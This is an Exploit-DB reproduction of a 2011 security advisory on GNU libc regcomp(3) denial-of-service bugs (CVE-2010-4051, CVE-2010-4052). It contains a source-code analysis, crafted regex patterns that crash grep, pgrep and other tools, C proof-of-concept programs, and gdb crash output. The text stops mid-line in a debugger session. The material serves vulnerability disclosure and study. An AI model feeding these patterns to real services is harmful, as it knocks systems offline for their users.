Exploit-DB #15935
Description: GNU libc/regcomp(3) - Multiple Vulnerabilities
Type: dos
Platform: linux
Date: 2011-01-07
Author: Maksymilian Arciemowicz

Exploit:
// source: http://securityreason.com/securityalert/8003

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ GNU libc/regcomp(3) Multiple Vulnerabilities ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 01.10.2010
- - Pub.: 07.01.2011

CERT: VU#912279
CVE:
CVE-2010-4051
CVE-2010-4052

Affected (tested):
- - Ubuntu 10.10
- - Slackware 13
- - Gentoo 18.10.2010
- - FreeBSD 8.1 (grep(1))
- - NetBSD 5.0.2 (grep(1))

Original URL:
http://securityreason.com/achievement_securityalert/93

Exploit for proftpd:
http://cxib.net/stuff/proftpd.gnu.c


- --- 0.Description ---
The GNU C library is used as the C library in the GNU system and most
systems with the Linux kernel.

# define RE_DUP_MAX (0x7fff)

regcomp() is used to compile a regular expression into a form that is
suitable for subsequent regexec() searches.


- --- 1. RE_DUP_MAX overflow ---
The main problem exists in regcomp(3) function of GNU libc implementation.
Let`s try understand..

- ---
int
regcomp (preg, pattern, cflags)
regex_t *__restrict preg;
const char *__restrict pattern;
int cflags;
{
- ---

if we use '{', token type will be OP_OPEN_DUP_NUM.

- ---
/* This function parse repetition operators like "*", "+", "{1,3}" etc.
*/

static bin_tree_t *
parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
{
bin_tree_t *tree = NULL, *old_tree = NULL;
int i, start, end, start_idx = re_string_cur_idx (regexp);
re_token_t start_token = *token;

if (token->type == OP_OPEN_DUP_NUM)
{
end = 0;
start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
- ---

let`s see fetch_number =>

- ---
static int
fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
{
int num = -1;
unsigned char c;
while (1)
{
fetch_token (token, input, syntax);
c = token->opr.c;
if (BE (token->type == END_OF_RE, 0))
return -2;
if (token->type == OP_CLOSE_DUP_NUM || c == ',')
break;
num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
num = (num > RE_DUP_MAX) ? -2 : num;
}
return num;
}
- ---

now see regex.h to know, what value have RE_DUP_MAX

- ---
/* Maximum number of duplicates an interval can allow. Some systems
(erroneously) define this in other header files, but we want our
value, so remove any previous define. */
# ifdef RE_DUP_MAX
# undef RE_DUP_MAX
# endif
/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */
# define RE_DUP_MAX (0x7fff)
#endif
- ---

calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
crash in malloc(3). Simple Recursion.

so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR
if we use more that one time '{' token.

They are many vectors attack

grep(1):
cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault

pgrep(1):
cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault

bregex from bacula-director-common
cx@cx64:~$ bregex -f glob-0day.c
Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
Segmentation fault

whatis(1):
cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault

and more like proftpd.

Simple crash for CVE-2010-4051
(gdb) x/i $rip
=> 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)
(gdb) x/i $eax
0x2: Cannot access memory at address 0x2
(gdb) x/i $rsp
0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90
(gdb) x/i 0x50($rsp)
Cannot access memory at address 0x7fffff5fef08


#0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
#1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6
#2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
#3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
...

- ---PoC1---
#include <regex.h>

int main(){
regex_t preg;

// char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051

regcomp (&preg, fmt, REG_EXTENDED);

return 0;
}
- ---PoC1---

- --- 2. Stack Exhausion ---
This issue, may be also use to Denial of Service by stack exhausion

#ls |grep -E ".*{10,}{10,}{111111,}"

- ---PoC2---
#include <regex.h>

int
main ()
{
regex_t preg;

char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
// char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051

regcomp (&preg, fmt, REG_EXTENDED);

return 0;
}
- ---PoC2---

Such a pattern may lead to allocate a large memory area, or large execution
time

As we can read in vsftpd/HACKING

- ---
- do not use libc features that are "complicated"
and may contain security holes. For example, you probably shouldn't
try to use regcomp() to compile an untrusted regular expression.
Regular expressions are just too complicated, and there are many
different libc's out there.
- ---

That's true. But the worst implementation of lib C is GNU. There is a huge
difference using proftpd on NetBSD and Linux


- --- 3. Stack Exhausions ---
Stack Exhausions was found in GNU glibc.

- ---PoC3---
/bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
- ---PoC3---

when more '+' that more allocated memory. But let's see next one

- ---PoC4---
cx@cx64:~$ ulimit -m 100000
cx@cx64:~$ ulimit -v 200000
cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
Segmentation fault
cx@cx64:~$
- ---PoC4---

the same command like in PoC 3, fails.

(gdb) r "/(.*++++++++++++++++++(\w+))/im" cx
Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx
/bin/egrep: Memory exhausted

Add one "+" more

Program exited with code 02.
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has